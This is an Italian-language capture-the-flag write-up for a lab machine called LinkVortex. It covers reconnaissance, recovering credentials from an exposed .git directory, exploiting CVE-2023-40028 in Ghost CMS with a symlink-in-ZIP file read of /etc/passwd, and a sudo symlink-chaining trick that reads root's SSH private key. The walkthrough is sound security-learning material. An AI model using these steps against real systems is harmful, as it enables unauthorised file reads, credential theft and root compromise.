LinkVortex

Foothold

Intanto mappiamo l’IP della macchina con l’hostname linkvortex.htb nel file /etc/hosts.

Dopo aver lanciato una scansione TCP si ottiene

$ sudo nmap -sV -vv -oN tcp2.txt linkvortex.htb
# Nmap 7.94SVN scan initiated Sat Mar  1 15:33:09 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp2.txt linkvortex.htb
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up, received reset ttl 128 (2.1s latency).
Scanned at 2025-03-01 15:33:10 CET for 1011s
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE REASON          VERSION
22/tcp  open     ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open     http    syn-ack ttl 128 Apache httpd
514/tcp filtered shell   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar  1 15:50:02 2025 -- 1 IP address (1 host up) scanned in 1013.11 seconds

Andando nel web server sulla porta 80 e controllando il file robots.txt sono presenti alcune risorse interessanti

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Andando nella risorsa /ghost/ si viene reindirizzati su un portale di login

Analizzando le risposte del server con Burp Suite alla risorsa sopracitata

Risposta

HTTP/1.1 200 OK
Date: Mon, 03 Mar 2025 16:54:12 GMT
Server: Apache
X-Powered-By: Express
Content-Version: v5.58
Vary: Accept-Version,Accept-Encoding
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Content-Type: application/json; charset=utf-8
Content-Length: 238
ETag: W/"ee-TcMDz7SQ+99FcyxN6r+AnRSWrTg"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"site":{"title":"BitByBit Hardware","description":"Your trusted source for detailed, easy-to-understand computer parts info","logo":null,"icon":null,"accent_color":"#1c1719","locale":"en","url":"http://linkvortex.htb/","version":"5.58"}}

A questo punto si può notare che la versione di Ghost usata è la 5.58 e che dietro c’è il framework Express.

Inoltre, navigando negli articoli pubblicati nel sito è possibile scovare, al path /author/admin, che “admin” è effettivamente un autore. Siccome nel login si ha bisogno di una mail, è probabile doverla utilizzare dopo. **

Effettuando un sub-domain discovery dei VHost

ffuf -u [http://linkvortex.htb](http://linkvortex.htb/) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.linkvortex.htb" -mc 200

Si ottiene

Abbiamo un virtual host in http://dev.linkvortex.htb

Facendo enumeration sui vari path del VHost si ha che è presente la cartella .git.

Scaricando tutti i file in locale

wget -r http://dev.linkvortex.htb/.git

Si può aprire con git-cola per verificare se sono presenti delle informazioni interessanti riguardo a vecchi o nuovi commit.

È stata trovata la seguente password “OctopiFociPilfer45” legata alla variabiale “const password”.

È presente anche un path di un file di configurazione che potrebbe essere utile in un secondo momento.

Inoltre, nel path /.git/logs/HEAD è presente un indirizzo email [email protected]

Pertanto unendo l’username admin con il dominio @linkvortex.htb trovato e provando la password trovata sopra, si riesce ad accedere al pannello di login.

[email protected]:OctopiFociPilfer45

Cercando la versione 5.58 di Ghost CMS, si nota che esiste la vulnerabilità CVE-2023-40028, che permette ad utenti autenticati di poter leggere dei file sulla macchina.

https://github.com/0xyassine/CVE-2023-40028

Un riassunto di ciò che fa l’exploit:

Crea un path temporaneo

mkdir -p $PAYLOAD_PATH/content/images/2024/

Dove $PAYLOAD_PATH corrisponde al path dove si trova lo script.

Successivamente si crea un symlink per il file /etc/passwd ad un immagine placeholder

ln -s /etc/passwd $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png

Dove $IMAGE_NAME ha un nome casuale.

Successivamente si comprime ricorsivamente l’intera cartella $PAYLOAD_PATH e l’opzione -y forza l’inclusione dei symlink nel file ZIP.

zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null

Quello che avremo è

exploit.zip
└── content/
    └── images/
        └── 2024/
            └── abc123xyz456.png -> /etc/passwd  (symlink)

Viene poi fatto l’upload tramite l’endpoint di importazione del database di Ghost

$GHOST_URL/ghost/api/admin/db

Infine, il symlink viene richiamato all’endpoint

http://linkvortex.htb/content/images/2024/$IMAGE_NAME.png

Modificando leggermente l’exploit per adattarlo e richiamando il file di configurazione trovato in .git

Si ottengono delle credenziali e facendo un tentativo in SSH con

bob:fibber-talented-worth

Foothold ottenuto e prendiamo la flag user.txt.

Privilege Escalation

Effettuando il comando sudo -l si ottiene il seguente output

Questo ci indica che si può eseguire lo script

/opt/ghost/clean_symlink.sh *.png

come root usando sudo senza password.

Leggendo il contenuto dello script

$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Praticamente quello che fa è verificare che un file .png non sia un link ad un file confidenziale, quindi, che contiene la parola nel path etc o root.

Se vede che un link ad un file confidenziale lo elimina, altrimenti, lo sposta in quarantena nel path /var/quarantined.

Inoltre, si nota che quando il file viene spostato nella quarantena, è possibile leggerne il contenuto. In particolare, se il la variabile di ambiente CHECK_CONTENT non esiste, viene create e impostata a FALSE e non viene letto il contenuto, altrimenti, se impostato a TRUE viene letto il contenuto del file, il cui link fa riferimento, nella cartella di quarantena.

A questo punto siccome lo script non fa controlli ricorsivi o cose simili, si potrebbero creare due link, uno che punta all’altro, per rubare il contenuto della chiave privata dell’utente root così da accedere in ssh.

A questo punto per linkare si usa il comando ln

ln [OPTION]... TARGET LINK_NAME
ln -s link2 link1.png
ln -s /root/.ssh/id_rsa link2

Ora spostiamo il soft link link2 creato nella cartella /var/quarantined e lanciamo lo script in questo modo

$ mv link2 /var/quarantined/
$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh link1.png
Link found [ link1.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----

Memorizzando la chiave e usandola per accedere in ssh come root

Ora prendiamo e inviamo la flag root.txt.